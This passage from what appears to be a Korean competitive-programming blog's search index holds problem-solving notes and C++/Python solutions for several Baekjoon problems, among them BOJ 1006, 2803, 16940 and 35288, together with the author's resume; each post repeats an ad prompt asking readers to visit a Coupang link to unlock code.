코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; int ng = 0, ok = N+1; // ng: R, ok: L이라고 믿자 while(ok - ng \u0026gt; 1){ int mid = (ok + ng) \u0026gt;\u0026gt; 1; cout \u0026lt;\u0026lt; \u0026#34;type \u0026#34; \u0026lt;\u0026lt; mid \u0026lt;\u0026lt; endl; string ret; cin \u0026gt;\u0026gt; ret; if(ret == \u0026#34;rose\u0026#34;) ng = mid; else ok = mid; } if(ok == N+1){ // 마지막이 rose cout \u0026lt;\u0026lt; \u0026#34;multi \u0026#34; \u0026lt;\u0026lt; N-1 \u0026lt;\u0026lt; endl; int Lily; cin \u0026gt;\u0026gt; Lily; cout \u0026lt;\u0026lt; \u0026#34;answer \u0026#34; \u0026lt;\u0026lt; N-Lily \u0026lt;\u0026lt; endl; return; } if(ok == 1){ // 처음이 Lily cout \u0026lt;\u0026lt; \u0026#34;multi \u0026#34; \u0026lt;\u0026lt; 1 \u0026lt;\u0026lt; endl; int Rose; cin \u0026gt;\u0026gt; Rose; cout \u0026lt;\u0026lt; \u0026#34;answer \u0026#34; \u0026lt;\u0026lt; Rose \u0026lt;\u0026lt; endl; return; } int ret1, ret2; cout \u0026lt;\u0026lt; \u0026#34;multi \u0026#34; \u0026lt;\u0026lt; ok \u0026lt;\u0026lt; endl; cin \u0026gt;\u0026gt; ret1; cout \u0026lt;\u0026lt; \u0026#34;multi \u0026#34; \u0026lt;\u0026lt; ok-2 \u0026lt;\u0026lt; endl; cin \u0026gt;\u0026gt; ret2; cout \u0026lt;\u0026lt; \u0026#34;answer \u0026#34; \u0026lt;\u0026lt; (ok-1) + ret1 - ret2 \u0026lt;\u0026lt; endl; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-05T00:00:00Z","permalink":"/posts/algorithm/ps/260305_algorithm_boj-34609-secret-lilies-and-roses/","title":"BOJ 34609 Secret Lilies and Roses"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1006 🧐 관찰 및 접근 유명한 통곡의 벽 문제 초라기 문제가 $2 \\times N$의 원형이라 조금 곤란하다. 쉬운 경우부터 생각하자. $1 \\times N$의 선형이라면, 계단 수처럼 DP로 풀 수 있을 것 같다. $2 \\times N$의 선형이라도 DP로 가능한 것 같다. 두칸 전에서 오는 것에 대해 가로두개 / 위에 가로와 아래 따로 / 아래 가로와 위에 따로 한칸 전에서 오는 것에 대해 세로 / 위아래 따로 이 5가지 경우에서 가능한 것 같다! 그런데 원형이라 조금 곤란한데.. 뭔가 케이스를 나눌 수 있을 것 같긴 하다. 선형으로 생각했을때 맨 왼쪽에 대해, 그게 반대쪽과 이어진경우 / 안이어진경우. 위아래니까 각각 두가지, 총 4가지 경우의수를 따지면 될듯? 근데 이걸 어떻게 깔끔하게 코딩하지? 큰일났다. 둘다 반대쪽과 이어진 경우는 문제를 한칸 밀어서 풀기만 하면 되는 것 같은데, 한쪽만 밀린 경우가 까다롭다. 그런데 사실 모든 칸이 지그재그로 연결된 경우 빼고는 언젠가는 선형으로 풀어도 되는 타이밍이 있는 것 같다! 위에서 말한 타이밍은 예제에서는 $1-2, 10-11, 3-4, \\cdots$로 연결된 느낌과 같다. 시간복잡도가 $O(NW)$이 되긴 하는데, 돌만하지 않을까? 저 지그재그만 예외처리를 해버리자. ㄲㅂ 시간초과네. 테케가 여러개라 그런 것 같다. 엥? 이거 그냥 길이를 $2N$으로 늘려서 하면 되지 않을까? \u0026hellip;인줄알았는데 전이식 자체부터 두개 전에서 땡겨오다보니 차분트릭이 안먹히는것 같다. 전이식 자체에서도 여러칸 단위로 지그재그로 오면 할 수 있는게 없다.. DP에서, 상태공간을 조금 더 정의해보자. $\\text{DP}[i][j]$라고 하면, i번째칸까지 봤을때 위아래 찬게 j상황이라고 생각해보자. $j = 0, 1, 2, 3$에서 위아래 모두 빔, 위 참, 아래 참, 위아래 모두 참과 같은 느낌이다. 이렇게해서 전이식을 잘 세우면 저 예외상황들을 처리하기 용이할 것 같다. 3번은 0번과 같으니 없애고, 나머지 3개로 정말 잘 처리해보자\u0026hellip; 💻 풀이 코드 (C++): void solve(){ ll N, W; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; W; vector\u0026lt;array\u0026lt;ll, 2\u0026gt;\u0026gt; v(N); rep(i, 0, N) cin \u0026gt;\u0026gt; v[i][0]; rep(i, 0, N) cin \u0026gt;\u0026gt; v[i][1]; auto calc = [\u0026amp;](bool con1, bool con2) { vector\u0026lt;array\u0026lt;ll, 3\u0026gt;\u0026gt; DP(N+1); // 0: 둘다끝, 1: 위가 튀어나감, 2: 아래가 튀어나감 rep(i, 0, N+1) rep(j, 0, 3) DP[i][j] = 1e18; DP[0][0] = 0; if(con1) DP[0][1] = 0; if(con2) DP[0][2] = 0; if(con1 \u0026amp;\u0026amp; con2) DP[1][0] = 0; rep(i, 1, N+1){ DP[i][0] = min(DP[i][0], DP[i-1][0] + (v[i-1][0] + v[i-1][1] \u0026lt;= W ? 1 : 2)); DP[i][0] = min(DP[i][0], DP[i-1][1] + 1); DP[i][0] = min(DP[i][0], DP[i-1][2] + 1); if(i-2 \u0026gt;= 0 \u0026amp;\u0026amp; v[i-2][0]+v[i-1][0] \u0026lt;= W \u0026amp;\u0026amp; v[i-2][1]+v[i-1][1] \u0026lt;= W){ DP[i][0] = min(DP[i][0], DP[i-2][0] + 2); } DP[i][1] = min(DP[i][1], DP[i][0] + 1); if((i == N \u0026amp;\u0026amp; con1) || (i \u0026lt; N \u0026amp;\u0026amp; v[i-1][0] + v[i][0] \u0026lt;= W)){ DP[i][1] = min(DP[i][1], DP[i-1][0] + 2); DP[i][1] = min(DP[i][1], DP[i-1][2] + 1); } DP[i][2] = min(DP[i][2], DP[i][0] + 1); if((i == N \u0026amp;\u0026amp; con2) || (i \u0026lt; N \u0026amp;\u0026amp; v[i-1][1] + v[i][1] \u0026lt;= W)){ DP[i][2] = min(DP[i][2], DP[i-1][0] + 2); DP[i][2] = min(DP[i][2], DP[i-1][1] + 1); } } if(!con1 \u0026amp;\u0026amp; !con2) return DP[N][0]; if(con1 \u0026amp;\u0026amp; !con2) return DP[N-1][2] + 1; if(!con1 \u0026amp;\u0026amp; con2) return DP[N-1][1] + 1; if(con1 \u0026amp;\u0026amp; con2) return DP[N-1][0] + 2; }; auto origin = v; ll ans = 2*N; rep(con1, 0, 2) rep(con2, 0, 2){ if(con1 \u0026amp;\u0026amp; v[0][0] + v[N-1][0] \u0026gt; W) continue; if(con2 \u0026amp;\u0026amp; v[0][1] + v[N-1][1] \u0026gt; W) continue; ans = min(ans, calc(con1, con2)); } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-04T00:00:00Z","permalink":"/posts/algorithm/ps/260304_algorithm_boj-1006-%EC%8A%B5%EA%B2%A9%EC%9E%90-%EC%B4%88%EB%9D%BC%EA%B8%B0/","title":"BOJ 1006 습격자 초라기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/28359 🧐 관찰 및 접근 일단 모두 $P$에 몰아넣거나, $Q$에 몰아넣거나는 가능하니 일단 기본적으로 모든 원소의 합정도는 여유롭게 가능하다. 그런데, 모든 수가 같다고 생각해보자. 그러면 모든 수는 $P$와 $Q$에 동시에 속하는데\u0026hellip; 동시에 속할 수 있는 수를 어떻게 제어할 수 있지? 동시에 속한 수가 서로 다른 여러개의 수일 수는 없다. 어떤 수와 그 개수를 곱한 값이 최대인 수를 골라서, 맨 뒤로 보내자. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; map\u0026lt;int, int\u0026gt; mp; int ans = 0; rep(i, 0, N){ int x; cin \u0026gt;\u0026gt; x; mp[x]++; ans += x; } int mxIdx = -1, mxVal = -1; for(auto [k, v]: mp){ if(k*v \u0026gt; mxVal){ mxVal = k*v; mxIdx = k; } } ans += mxVal; vector\u0026lt;int\u0026gt; v1, v2; for(auto [k, v]: mp){ if(k \u0026lt; mxIdx) rep(i, 0, v) v1.push_back(k); else if(k \u0026gt; mxIdx) rep(i, 0, v) v2.push_back(k); } rrep(i, 0, v2.size()) v1.push_back(v2[i]); rep(i, 0, mp[mxIdx]) v1.push_back(mxIdx); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; for(auto x: v1) cout \u0026lt;\u0026lt; x \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-04T00:00:00Z","permalink":"/posts/algorithm/ps/260304_algorithm_boj-28359-%EC%88%98%EC%97%B4%EC%9D%98-%EA%B0%80%EC%B9%98/","title":"BOJ 28359 수열의 가치"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/5916 🧐 관찰 및 접근 트리가 주어진다. 두 정점 사이 경로에 1을 더한다. 두 정점 사이 경로의 가중치의 합을 계산한다. 나이브하게는 $O(QN)$이겠지만, HLD와 Lazy 세그먼트 트리를 이용해서 $O(Qlog^2N)$정도에 계산할 수 있을 것 같다. 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; Tree tree(N); rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; tree.add_edge(u, v); } tree.build(); LazySegmentTree seg(N+1); while(M--){ char op; cin \u0026gt;\u0026gt; op; int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; if(op == \u0026#39;P\u0026#39;){ vector\u0026lt;pii\u0026gt; segs = tree.hld_path(u, v, false, false); for(auto [L, R]: segs) seg.update(L, R, 1); } else{ ll ans = 0; vector\u0026lt;pii\u0026gt; segs = tree.hld_path(u, v, false, false); for(auto [L, R]: segs) ans += seg.query(L, R); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-03T00:00:00Z","permalink":"/posts/algorithm/ps/260303_algorithm_boj-5916-%EB%86%8D%EC%9E%A5-%EA%B4%80%EB%A6%AC/","title":"BOJ 5916 농장 관리"},{"content":"Jiho Kim Website: wlgh7407.com Email: mm740757@gmail.com · GitHub: jiho7407\nExperience AI Skill Checker, Co-founder \u0026amp; PM (2025.04 - 2025.11)\nDeveloped a B2B SaaS platform that quantitatively evaluates AI utilization skills using generative AI, as part of the 16th SW Maestro program (Team 백야). Designed an assessment framework based on Bloom\u0026rsquo;s Taxonomy, covering 6 cognitive competencies (Understanding, Applying, Analyzing, Logic, Evaluating, Creating). Built a RAG-based context injection system for delivering problem context to the built-in generative AI tool. Developed an automated grading engine that scores both the final answer and the interaction process. Led project scheduling and team communication as PM over an 8-month period. ICPC Sinchon, Manager / Instructor / Mentor (2024.01 - Present)\nManaged operations for a nationwide competitive programming community (Apr 2024 - Mar 2025). Novice Instructor (24S), Advanced Mentor (25W, 26W). Yonsei Transportation eXperts, Data Division Leader (2024.09 - Present)\nYBIGTA (Data Science Club), Data Engineering Team (2026.01 - Present)\nPlayIdeaLab, R\u0026amp;D Team Engineer (2024.01 - 2024.05)\nAwards and Honors 40th place, ICPC Asia Seoul Regional (2024.11) 20th place overall / 1st at Yonsei University, ICPC Seoul Nationwide Preliminary (2024.10) 2nd place, Yonsei University Programming Contest (2024.11) Finalist, SCPC 2024, 2025 5th place, SUAPC 2025 Summer / 4th place, 2024 Summer / 6th place, 2024 Winter Excellence Award (Korea Institute of Landscape Architecture President\u0026rsquo;s Award), 29th Graduation Project Exhibition, Yonsei University (2024.12) Winner, Construction Site Safety Data AI Hackathon, NIA (2023.12) Education Bachelor, Urban Engineering, Yonsei University (2020.03 - Present)\nProjects AI Skill Checker (2025.04 - 2025.11)\nA B2B service that evaluates AI utilization skills through prompt-based process evaluation, leveled problem sets, real-time feedback, and quantitative scoring based on Bloom\u0026rsquo;s Taxonomy. Optimal Waste Collection Algorithm (2024)\nDesigned an optimal waste collection routing algorithm using waste generation data and Min-Cost Circulation, targeting Seodaemun-gu, Seoul. Received Excellence Award at the 29th Graduation Exhibition. GitHub · Notion Competitive Programming Codeforces: Candidate Master (Rating 2100, Max 2100) BOJ: 1803 Solved, solved.ac Ruby 5 (2732) Skills Programming Languages: Python, C++ Languages: Korean (Native), English (Intermediate) ","date":"2026-02-28T00:00:00Z","permalink":"/posts/etc/260228_etc_resume/","title":"Resume"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/16940 🧐 관찰 및 접근 풀이1 문제 그대로 큐에 넣으면서 시뮬레이션해볼 수 있겠다. 같은 레벨 안에서 원하는대로 선택할 수 있으니, 다음으로 들려야하는걸 셋으로 잘 관리하면서 해보자. 풀이2 현재 내가 있는 노드, 그리고 다음 노드를 큐에 넣을 수 있는지를 체크하는 노드 두가지로 문제를 시뮬레이션하자. cidx에서 nidx로 갈 수 있으면 nidx++를 하고, 없을때 cidx를 ++하자. nidx가 N에 닿지 못했다면 불가능한 것이다. 이 풀이는 트리가 아닌 그래프에서만 가능하다! 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; links(N+1); rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } vector\u0026lt;int\u0026gt; order(N); bitset\u0026lt;100001\u0026gt; visited; rep(i, 0, N) cin \u0026gt;\u0026gt; order[i]; queue\u0026lt;set\u0026lt;int\u0026gt;\u0026gt; v; v.push({1}); visited[1] = true; int idx = 0; while(idx \u0026lt; N){ set\u0026lt;int\u0026gt; nset; while(!v.empty() \u0026amp;\u0026amp; v.front().empty()) v.pop(); if(v.empty()){ cout \u0026lt;\u0026lt; 0; return; } if(v.front().count(order[idx]) == 0){ cout \u0026lt;\u0026lt; 0; return; } int cur = order[idx]; v.front().erase(cur); for(int nxt: links[cur]){ if(visited[nxt]) continue; visited[nxt] = true; nset.insert(nxt); } v.push(nset); idx++; } cout \u0026lt;\u0026lt; 1; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n풀이2 (Python) import sys input = sys.stdin.readline N = int(input()) links = [set() for _ in range(N + 1)] for _ in range(N-1): a, b = map(int, input().split()) links[a].add(b) links[b].add(a) lst = list(map(int, input().split())) if lst[0] != 1: print(0) exit() nidx = 1 cidx = 0 while cidx \u0026lt; N and nidx \u0026lt; N: if lst[nidx] in links[lst[cidx]]: nidx += 1 else: cidx += 1 if nidx == N: print(1) else: print(0) 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-26T00:00:00Z","permalink":"/posts/algorithm/ps/260226_algorithm_boj-16940-bfs-%EC%8A%A4%ED%8E%98%EC%85%9C-%EC%A0%80%EC%A7%80/","title":"BOJ 16940 BFS 스페셜 저지"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/16964 🧐 관찰 및 접근 dfs를 돌리듯이 지금까지 걸어온 과정들을 기록하면서 다음 노드를 갈 수 있었는가?를 체크하자. 💻 풀이 코드 (C++): import sys input = sys.stdin.readline N = int(input()) links = [set() for _ in range(N + 1)] for _ in range(N-1): a, b = map(int, input().split()) links[a].add(b) links[b].add(a) lst = list(map(int, input().split())) if lst[0] != 1: print(0) exit() nidx = 1 stk = [1] while nidx \u0026lt; N: if not stk: print(0) exit() cur = stk[-1] if lst[nidx] in links[cur]: stk.append(lst[nidx]) nidx += 1 else: stk.pop() print(1) 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-26T00:00:00Z","permalink":"/posts/algorithm/ps/260226_algorithm_boj-16964-dfs-%EC%8A%A4%ED%8E%98%EC%85%9C-%EC%A0%80%EC%A7%80/","title":"BOJ 16964 DFS 스페셜 저지"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/35288 🧐 관찰 및 접근 문제를 정리하면 다음과 같다. 트리가 주어진다. 간선을 $K$개 지워서 포레스트로 만든다. 포레스트를 잘 합쳐서 트리의 지름이 최소가 되도록 하자. 포레스트를 잘 합치는 문제는 빌라봉으로 유명하다. 이 문제에 따르면, 세개 이상의 트리를 합칠 때, 가장 긴 트리의 지름 세개를 $a \\geq b \\geq c$ 라고 하면 그 결과는 $\\max(a, \\lceil\\frac{a}{2}\\rceil + \\lceil\\frac{b}{2}\\rceil + 1, \\lceil\\frac{b}{2}\\rceil + \\lceil\\frac{c}{2}\\rceil + 2)$ 결과는 위와 같고, 이는 새로 만든 간선을 $0, 1, 2$개 이용하는 경로중 가장 긴것과 같다. 그리디하게 가장 긴 지름의 중심에 다른 중심들을 이은 모양에서 나온 결과이다. 그렇다면 트리를 빠르게 쪼개서 지름만 빠르게 계산할 수 있으면 되는 것 같다. 이걸 어떻게 할 수 있을까? 예제 1번의 트리를 ETT를 하면서 그려보자. 그리고 세번째 쿼리를 생각해보자. $(1, 2), (3, 6), (4, 5, 7)$으로 나뉘어야 하는디\u0026hellip; ETT로 생각하면, $(1, 2, (5, (3, 6), 4, 7))$ 같은 느낌으로 그룹지어지는건가? 잘 처리된 부분들은 상관 없는데, $(5, 4, 7)$같은데서 지름을 어떻게 구하면 좋을지 감이 안온다. 일단 저걸 $(5), (4,7)$ 두 덩어리를 합치는 연산으로 보자. 오일러 투어 테크닉을 적용하면 연속 구간에 속하는 노드들의 지름은 세그먼트 트리로 구할 수 있다고 한다. 이걸 어떻게 하는거지? 트리 두개의 지름의 양끝 점을 각각 $(a, b), (c, d)$ 라고 할때 두 트리를 합친곳에서의 지름은 $(a, b), (a, c), (a, d), (b, c), (b, d), (c, d)$중에서 존재한다. 이를 pull연산으로 잘 정의해보자. 구현이 상당히 어렵다.. 💻 풀이 코드 (C++): void solve(){ int N, Q; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; Q; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; links(N+1); vector\u0026lt;pii\u0026gt; edges; rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); edges.push_back({u, v}); } auto [ETT_in, ETT_out] = ETT(N, links); vector\u0026lt;int\u0026gt; ETT_inv(N+1); rep(i, 1, N+1) ETT_inv[ETT_in[i]] = i; LCA_Tree = new Tree_LCA(N+1, links); vector\u0026lt;Node\u0026gt; nodes(N+1); rep(i, 1, N+1) nodes[i] = Node(ETT_inv[i], ETT_inv[i], 0); SegmentTreeNode seg(N+1, nodes); vector\u0026lt;int\u0026gt; edge_to_subtree(N-1); rep(i, 0, N-1){ auto [u, v] = edges[i]; if(LCA_Tree-\u0026gt;depth[u] \u0026lt; LCA_Tree-\u0026gt;depth[v]) swap(u, v); edge_to_subtree[i] = u; } while(Q--){ int K; cin \u0026gt;\u0026gt; K; vector\u0026lt;int\u0026gt; cuts(K); rep(i, 0, K) cin \u0026gt;\u0026gt; cuts[i]; vector\u0026lt;Node\u0026gt; Query_nodes; vector\u0026lt;pair\u0026lt;int, bool\u0026gt;\u0026gt; events; // {ETT_idx, is_end} for(auto c: cuts){ int u = edge_to_subtree[c-1]; events.push_back({ETT_in[u], false}); events.push_back({ETT_out[u], true}); } sort(all(events)); int cur = 1; stack\u0026lt;Node\u0026gt; stk; stk.push(Node()); for(auto [idx, is_end]: events){ if(is_end){ Node\u0026amp; top = stk.top(); top = seg.pull(top, seg.query(cur, idx)); cur = idx+1; Query_nodes.push_back(top); stk.pop(); } else{ Node\u0026amp; top = stk.top(); top = seg.pull(top, seg.query(cur, idx-1)); cur = idx; stk.push(Node()); } } Node\u0026amp; top = stk.top(); top = seg.pull(top, seg.query(cur, N)); Query_nodes.push_back(top); sort(all(Query_nodes), [](Node a, Node b){ return a.dist \u0026gt; b.dist; }); int ans = 0; if(Query_nodes.size() \u0026gt; 0) ans = Query_nodes[0].dist; if(Query_nodes.size() \u0026gt; 1) ans = max(ans, (Query_nodes[0].dist+1)/2 + (Query_nodes[1].dist+1)/2 + 1); if(Query_nodes.size() \u0026gt; 2) ans = max(ans, (Query_nodes[1].dist+1)/2 + (Query_nodes[2].dist+1)/2 + 2); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-25T00:00:00Z","permalink":"/posts/algorithm/ps/260225_algorithm_boj-35288-designant./","title":"BOJ 35288 Designant."},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/17364 🧐 관찰 및 접근 어\u0026hellip; 문제가 상당히 곤란해보인다. ㅋㅋㅋㅋ 첫번째 예제부터 친절해서 망정이지, 저런거 없었으면 당연히 1357번 1등한테 먹이고 3 출력했을 것 같다. $K = 1$일때부터 풀어보자. 이때는 자명하게도 회의실 배정 문제와 같다. 끝나는 시간을 기준으로 정렬하고, 그리디하게 가져가자. $K = 2$라면? 형섭이는 1등이 먹고 남은 대회들에 대해서, 결국 위의 그리디한 방법으로 가져갈 것이다. 이 때, 1등이 1, 3, 5, 7번 대회를 가져가서 남은 대회가 $(2, 3), (4, 5), (6, 7)$ 이라면 3개를 먹는 것이고, 1, 4, 7번째 대회를 가져가서 남은 대회가 $(2, 3), (3, 4), (5, 6), (6, 7)$ 이라면 2개밖에 못먹는 것이다. 이걸 DP같은걸로 어떻게 잘 가져가면 좋을것같은데.. 엥? 근데 이거 약간 그리디하게 되지 않을까? 형섭씨도 그리디하게 먹으려고 하니, 형섭씨의 그리디를 의도적으로 방해하자. 제일처음에 시간은 $T = 0$일때, 형섭씨는 첫번째 대회 $(1, 2)$를 출전하려고 한다. 바아로 1등 출동 힝잉잉거리면서 두번째 대회 $(2, 3)$을 출전하려고 한다. 이걸 막을수는 없다. 그런데 이걸 나가고 나면 $(3, 4)$ 까지는 못나가시니 절대 안막아버리기 그다음에 $(4, 5)$ 대회를 나가시려고하면, 이때 첫번째 대회 나가신분은 퇴근 후 집에서 요양중이시다. 바로 저기 보내버리자. 다시 형섭씨는 힝잉잉거리면서.. 어쩌구 우선순위 큐로 관리하면서 그리디하게 진행할 수 있을 것 같다!!!!!!! ㅠ.ㅠ 바로 틀렸다. 이것만으로는 상대방이 너무 많은 대회를 나갈 수 있는 것 처럼 된다. 아하, $(3, 5), (4, 5), (2, 7)$이 있다고 해보자. 단순하게 끝나는 시간만 관리해서는, 5일에 나와서 퇴근 후 저 $(2, 7)$ 대회에 나갈 수 있는것처럼 내가 해버렸다. 이러면 안되지 음.. 어차피 세개 다 무조건 못먹는건 맞는데. 그리디라고 생각하면.. 쓸 수 있는 놈중 가장 마지막에 끝나는 놈을 쓰는게 유효한가? 다음 $(s, e)$에서 어차피 $e$는 꽤 크고, $s$가 빠른 놈이 들어오는게 문제인 것 같은데, 그러면 자유로운 친구가 더 오래 쉬도록 해야하는거 같다 .그러면 맞는거같다!! 셋같은걸로 지점을 잘 찾아보자. 💻 풀이 코드 (C++): void solve(){ int N, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; K; vector\u0026lt;pii\u0026gt; contests(N); rep(i, 0, N) cin \u0026gt;\u0026gt; contests[i].first \u0026gt;\u0026gt; contests[i].second; sort(all(contests), [](const pii \u0026amp;a, const pii \u0026amp;b){ if(a.second == b.second) return a.first \u0026lt; b.first; return a.second \u0026lt; b.second; }); int ans = 0; int T = 0; multiset\u0026lt;int\u0026gt; st; rep(i, 0, K-1) st.insert(0); for(auto \u0026amp;[a, b]: contests){ if(a \u0026lt;= T) continue; auto it = st.lower_bound(a); if(it == st.begin()){ ans++; T = b; continue; } it--; st.erase(it); st.insert(b); } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-22T00:00:00Z","permalink":"/posts/algorithm/ps/260222_algorithm_boj-17364-%EB%8C%80%ED%9A%8C/","title":"BOJ 17364 대회"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/2803 🧐 관찰 및 접근 비트마스킹적으로 접근해보면, 여러 장난감 상자들의 or 연산결과가 $1111111..$이 되도록 하는 조합의 개수를 찾으면 되는 것 같다. $N$에 대해 생각하긴 까다로우므로, $M \\leq 20$인 것을 이용해서 $M$에 대한 비트마스킹된 상자의 수로 생각해보자. 이후 과정을 포함배제로 진행하면 $O(2^N \\times 2^N)$이겠지만, 우리는 SOS DP를 이용해서 $O(N2^N)$ 에 계산할 수 있음을 알 수 있다. 그런데 그냥 기본적인 SOS DP랑은 세팅이 조금 다른가? 고민해보자. 기본적인 SOS DP는 해당 비트마스크의 부분집합의 원소 개수의 합이다. 이번에 구해야하는건 해당 비트마스크를 만들어줄 수 있는 조합의 개수인데.. 결국 어떤 상자 $110011$을 골랐다고 생각해보자. 그러면, $??11??$ 인걸 모두 고르면 된다. 이걸 부분집합으로 세긴 힘들지만, 뒤집어서 생각한다면 $??00??$을 찾는 것이고, 이건 $110011$의 부분집합의 개수와 같은 것 같다! 자기 자신을 세지 않도록 조심하자. 그런데 저 방법으로 세면, 두개의 or연산밖에 고려하지 못한다\u0026hellip; 3개 이상인걸 고려하려면 DP 설계를 조금 더 잘해야 할 것 같다. 아하, \b원래게 $??11??$인 개수를 안다면, 여기에서 한개 이상만 고르면 된다. 그 개수를 $\\text{cnt}$라고 하면, $2^{\\text{cnt}} - 1$이 성립하는거 같기도? 근데 다시 생각해보니, 뭐랄까 원래가 $??10??$$ 인거랑 $??01??$$ 인거랑이 합쳐져서 되는것들을 못세는거..같기도? 연산해서 $11$을 만들기 위해선, $(11 + 10 + 01 + 00)^2$ 같은 느낌으로 생각해보자. 저 연산 결과는 $$ 11^2 + 10^2 + 01^2 + 00^2 + \\\\ 2(11\\cdot10 + 11\\cdot01 + 11\\cdot00 + 10\\cdot01 + 10\\cdot00 + 01\\cdot00) $$ 이고, 잘 고민해보니 $11$의 부분집합의 제곱 - $11, 01$의 부분집합의 제곱 - $00$의 부분집합의 제곱을 하면 깔끔하게 $11^2 + 2(11\\times10 + 11\\times01 + 11\\times00 + 10\\times01)$이 된다. 아니 잠깐만, 저 느낌을 그대로 가져가면 그냥 부분집합의 합으로 SOS DP를 한다음에 포함배제를 때려버리면 어떻게든 된다. 연산결과가 $11...11$인놈들 - $(01...11), (10..111)...$ + $...$ 이렇게 하면 되는구나! 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; vector\u0026lt;int\u0026gt; A(N); rep(i, 0, N){ int K; cin \u0026gt;\u0026gt; K; int ret = 0; rep(j, 0, K){ int x; cin \u0026gt;\u0026gt; x; ret |= (1 \u0026lt;\u0026lt; (x-1)); } A[i] = ret; } vector\u0026lt;int\u0026gt; SOS(1 \u0026lt;\u0026lt; M, 0); for(auto x: A) SOS[x] += 1; rep(i, 0, M) rep(mask, 0, 1\u0026lt;\u0026lt;M) if(mask \u0026amp; (1 \u0026lt;\u0026lt; i)) SOS[mask] += SOS[mask^(1\u0026lt;\u0026lt;i)]; mint ans = 0; rep(mask, 0, 1\u0026lt;\u0026lt;M){ int cnt = 0; rep(i, 0, M) if((mask \u0026amp; (1 \u0026lt;\u0026lt; i)) == 0) cnt++; if(cnt \u0026amp; 1) ans -= (mint(2).pow(SOS[mask])); else ans += (mint(2).pow(SOS[mask])); } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-22T00:00:00Z","permalink":"/posts/algorithm/ps/260222_algorithm_boj-2803-%EB%82%B4%EA%B0%80-%EC%96%B4%EB%A0%B8%EC%9D%84-%EB%95%8C-%EA%B0%80%EC%A7%80%EA%B3%A0-%EB%86%80%EB%8D%98-%EC%9E%A5%EB%82%9C%EA%B0%90/","title":"BOJ 2803 